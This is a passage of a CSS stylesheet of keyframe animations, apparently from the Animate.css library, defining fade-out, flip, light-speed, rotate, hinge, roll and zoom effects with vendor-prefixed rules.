-webkit-transform: none; transform: none; } } @keyframes fadeInUp { from { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInUp { -webkit-animation-name: fadeInUp; animation-name: fadeInUp; } @-webkit-keyframes fadeInUpBig { from { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInUpBig { from { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .fadeInUpBig { -webkit-animation-name: fadeInUpBig; animation-name: fadeInUpBig; } @-webkit-keyframes fadeOut { from { opacity: 1; } 100% { opacity: 0; } } @keyframes fadeOut { from { opacity: 1; } 100% { opacity: 0; } } .fadeOut { -webkit-animation-name: fadeOut; animation-name: fadeOut; } @-webkit-keyframes fadeOutDown { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } } @keyframes fadeOutDown { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } } .fadeOutDown { -webkit-animation-name: fadeOutDown; animation-name: fadeOutDown; } @-webkit-keyframes fadeOutDownBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } @keyframes fadeOutDownBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, 2000px, 0); transform: translate3d(0, 2000px, 0); } } .fadeOutDownBig { -webkit-animation-name: fadeOutDownBig; animation-name: fadeOutDownBig; } @-webkit-keyframes fadeOutLeft { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } } @keyframes fadeOutLeft { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } } .fadeOutLeft { -webkit-animation-name: fadeOutLeft; animation-name: fadeOutLeft; } @-webkit-keyframes fadeOutLeftBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } @keyframes fadeOutLeftBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(-2000px, 0, 0); transform: translate3d(-2000px, 0, 0); } } .fadeOutLeftBig { -webkit-animation-name: fadeOutLeftBig; animation-name: fadeOutLeftBig; } @-webkit-keyframes fadeOutRight { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } } @keyframes fadeOutRight { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } } .fadeOutRight { -webkit-animation-name: fadeOutRight; animation-name: fadeOutRight; } @-webkit-keyframes fadeOutRightBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } @keyframes fadeOutRightBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(2000px, 0, 0); transform: translate3d(2000px, 0, 0); } } .fadeOutRightBig { -webkit-animation-name: fadeOutRightBig; animation-name: fadeOutRightBig; } @-webkit-keyframes fadeOutUp { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } } @keyframes fadeOutUp { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } } .fadeOutUp { -webkit-animation-name: fadeOutUp; animation-name: fadeOutUp; } @-webkit-keyframes fadeOutUpBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } @keyframes fadeOutUpBig { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(0, -2000px, 0); transform: translate3d(0, -2000px, 0); } } .fadeOutUpBig { -webkit-animation-name: fadeOutUpBig; animation-name: fadeOutUpBig; } @-webkit-keyframes flip { from { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg); transform: perspective(400px) rotate3d(0, 1, 0, -360deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 40% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 50% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 80% { -webkit-transform: perspective(400px) scale3d(.95, .95, .95); transform: perspective(400px) scale3d(.95, .95, .95); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } } @keyframes flip { from { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -360deg); transform: perspective(400px) rotate3d(0, 1, 0, -360deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 40% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } 50% { -webkit-transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); transform: perspective(400px) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 80% { -webkit-transform: perspective(400px) scale3d(.95, .95, .95); transform: perspective(400px) scale3d(.95, .95, .95); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } } .animated.flip { -webkit-backface-visibility: visible; backface-visibility: visible; -webkit-animation-name: flip; animation-name: flip; } @-webkit-keyframes flipInX { from { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); transform: perspective(400px) rotate3d(1, 0, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); transform: perspective(400px) rotate3d(1, 0, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } @keyframes flipInX { from { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); transform: perspective(400px) rotate3d(1, 0, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); transform: perspective(400px) rotate3d(1, 0, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } .flipInX { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipInX; animation-name: flipInX; } @-webkit-keyframes flipInY { from { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg); transform: perspective(400px) rotate3d(0, 1, 0, -20deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg); transform: perspective(400px) rotate3d(0, 1, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg); transform: perspective(400px) rotate3d(0, 1, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } @keyframes flipInY { from { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg); transform: perspective(400px) rotate3d(0, 1, 0, -20deg); -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg); transform: perspective(400px) rotate3d(0, 1, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg); transform: perspective(400px) rotate3d(0, 1, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } .flipInY { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipInY; animation-name: flipInY; } @-webkit-keyframes flipOutX { from { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); opacity: 0; } } @keyframes flipOutX { from { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); opacity: 0; } } .flipOutX { -webkit-animation-name: flipOutX; animation-name: flipOutX; -webkit-backface-visibility: visible !important; backface-visibility: visible !important; } @-webkit-keyframes flipOutY { from { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg); transform: perspective(400px) rotate3d(0, 1, 0, -15deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); opacity: 0; } } @keyframes flipOutY { from { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg); transform: perspective(400px) rotate3d(0, 1, 0, -15deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); transform: perspective(400px) rotate3d(0, 1, 0, 90deg); opacity: 0; } } .flipOutY { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipOutY; animation-name: flipOutY; } @-webkit-keyframes lightSpeedIn { from { -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg); transform: translate3d(100%, 0, 0) skewX(-30deg); opacity: 0; } 60% { -webkit-transform: skewX(20deg); transform: skewX(20deg); opacity: 1; } 80% { -webkit-transform: skewX(-5deg); transform: skewX(-5deg); opacity: 1; } 100% { -webkit-transform: none; transform: none; opacity: 1; } } @keyframes lightSpeedIn { from { -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg); transform: translate3d(100%, 0, 0) skewX(-30deg); opacity: 0; } 60% { -webkit-transform: skewX(20deg); transform: skewX(20deg); opacity: 1; } 80% { -webkit-transform: skewX(-5deg); transform: skewX(-5deg); opacity: 1; } 100% { -webkit-transform: none; transform: none; opacity: 1; } } .lightSpeedIn { -webkit-animation-name: lightSpeedIn; animation-name: lightSpeedIn; -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; } @-webkit-keyframes lightSpeedOut { from { opacity: 1; } 100% { -webkit-transform: translate3d(100%, 0, 0) skewX(30deg); transform: translate3d(100%, 0, 0) skewX(30deg); opacity: 0; } } @keyframes lightSpeedOut { from { opacity: 1; } 100% { -webkit-transform: translate3d(100%, 0, 0) skewX(30deg); transform: translate3d(100%, 0, 0) skewX(30deg); opacity: 0; } } .lightSpeedOut { -webkit-animation-name: lightSpeedOut; animation-name: lightSpeedOut; -webkit-animation-timing-function: ease-in; animation-timing-function: ease-in; } @-webkit-keyframes rotateIn { from { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, -200deg); transform: rotate3d(0, 0, 1, -200deg); opacity: 0; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateIn { from { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, -200deg); transform: rotate3d(0, 0, 1, -200deg); opacity: 0; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: none; transform: none; opacity: 1; } } .rotateIn { -webkit-animation-name: rotateIn; animation-name: rotateIn; } @-webkit-keyframes rotateInDownLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInDownLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInDownLeft { -webkit-animation-name: rotateInDownLeft; animation-name: rotateInDownLeft; } @-webkit-keyframes rotateInDownRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInDownRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInDownRight { -webkit-animation-name: rotateInDownRight; animation-name: rotateInDownRight; } @-webkit-keyframes rotateInUpLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInUpLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInUpLeft { -webkit-animation-name: rotateInUpLeft; animation-name: rotateInUpLeft; } @-webkit-keyframes rotateInUpRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -90deg); transform: rotate3d(0, 0, 1, -90deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } @keyframes rotateInUpRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -90deg); transform: rotate3d(0, 0, 1, -90deg); opacity: 0; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: none; transform: none; opacity: 1; } } .rotateInUpRight { -webkit-animation-name: rotateInUpRight; animation-name: rotateInUpRight; } @-webkit-keyframes rotateOut { from { -webkit-transform-origin: center; transform-origin: center; opacity: 1; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, 200deg); transform: rotate3d(0, 0, 1, 200deg); opacity: 0; } } @keyframes rotateOut { from { -webkit-transform-origin: center; transform-origin: center; opacity: 1; } 100% { -webkit-transform-origin: center; transform-origin: center; -webkit-transform: rotate3d(0, 0, 1, 200deg); transform: rotate3d(0, 0, 1, 200deg); opacity: 0; } } .rotateOut { -webkit-animation-name: rotateOut; animation-name: rotateOut; } @-webkit-keyframes rotateOutDownLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } } @keyframes rotateOutDownLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, 45deg); transform: rotate3d(0, 0, 1, 45deg); opacity: 0; } } .rotateOutDownLeft { -webkit-animation-name: rotateOutDownLeft; animation-name: rotateOutDownLeft; } @-webkit-keyframes rotateOutDownRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } @keyframes rotateOutDownRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } .rotateOutDownRight { -webkit-animation-name: rotateOutDownRight; animation-name: rotateOutDownRight; } @-webkit-keyframes rotateOutUpLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } @keyframes rotateOutUpLeft { from { -webkit-transform-origin: left bottom; transform-origin: left bottom; opacity: 1; } 100% { -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate3d(0, 0, 1, -45deg); transform: rotate3d(0, 0, 1, -45deg); opacity: 0; } } .rotateOutUpLeft { -webkit-animation-name: rotateOutUpLeft; animation-name: rotateOutUpLeft; } @-webkit-keyframes rotateOutUpRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 90deg); transform: rotate3d(0, 0, 1, 90deg); opacity: 0; } } @keyframes rotateOutUpRight { from { -webkit-transform-origin: right bottom; transform-origin: right bottom; opacity: 1; } 100% { -webkit-transform-origin: right bottom; transform-origin: right bottom; -webkit-transform: rotate3d(0, 0, 1, 90deg); transform: rotate3d(0, 0, 1, 90deg); opacity: 0; } } .rotateOutUpRight { -webkit-animation-name: rotateOutUpRight; animation-name: rotateOutUpRight; } @-webkit-keyframes hinge { 0% { -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 20%, 60% { -webkit-transform: rotate3d(0, 0, 1, 80deg); transform: rotate3d(0, 0, 1, 80deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 40%, 80% { -webkit-transform: rotate3d(0, 0, 1, 60deg); transform: rotate3d(0, 0, 1, 60deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; opacity: 1; } 100% { -webkit-transform: translate3d(0, 700px, 0); transform: translate3d(0, 700px, 0); opacity: 0; } } @keyframes hinge { 0% { -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 20%, 60% { -webkit-transform: rotate3d(0, 0, 1, 80deg); transform: rotate3d(0, 0, 1, 80deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } 40%, 80% { -webkit-transform: rotate3d(0, 0, 1, 60deg); transform: rotate3d(0, 0, 1, 60deg); -webkit-transform-origin: top left; transform-origin: top left; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; opacity: 1; } 100% { -webkit-transform: translate3d(0, 700px, 0); transform: translate3d(0, 700px, 0); opacity: 0; } } .hinge { -webkit-animation-name: hinge; animation-name: hinge; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes rollIn { from { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes rollIn { from { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); } 100% { opacity: 1; -webkit-transform: none; transform: none; } } .rollIn { -webkit-animation-name: rollIn; animation-name: rollIn; } /* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ @-webkit-keyframes rollOut { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); } } @keyframes rollOut { from { opacity: 1; } 100% { opacity: 0; -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); } } .rollOut { -webkit-animation-name: rollOut; animation-name: rollOut; } @-webkit-keyframes zoomIn { from { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 50% { opacity: 1; } } @keyframes zoomIn { from { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 50% { opacity: 1; } } .zoomIn { -webkit-animation-name: zoomIn; animation-name: zoomIn; } @-webkit-keyframes zoomInDown { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInDown { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInDown { -webkit-animation-name: zoomInDown; animation-name: zoomInDown; } @-webkit-keyframes zoomInLeft { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInLeft { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInLeft { -webkit-animation-name: zoomInLeft; animation-name: zoomInLeft; } @-webkit-keyframes zoomInRight { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInRight { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInRight { -webkit-animation-name: zoomInRight; animation-name: zoomInRight; } @-webkit-keyframes zoomInUp { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomInUp { from { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 60% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } .zoomInUp { -webkit-animation-name: zoomInUp; animation-name: zoomInUp; } @-webkit-keyframes zoomOut { from { opacity: 1; } 50% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 100% { opacity: 0; } } @keyframes zoomOut { from { opacity: 1; } 50% { opacity: 0; -webkit-transform: scale3d(.3, .3, .3); transform: scale3d(.3, .3, .3); } 100% { opacity: 0; } } .zoomOut { -webkit-animation-name: zoomOut; animation-name: zoomOut; } @-webkit-keyframes zoomOutDown { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); -webkit-transform-origin: center bottom; transform-origin: center bottom; -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.320, 1); } } @keyframes zoomOutDown { 40% { opacity: 1; -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); -webkit-animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); animation-timing-function: cubic-bezier(0.550, 0.055, 0.675, 0.190); } 100% { opacity: 0; -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); 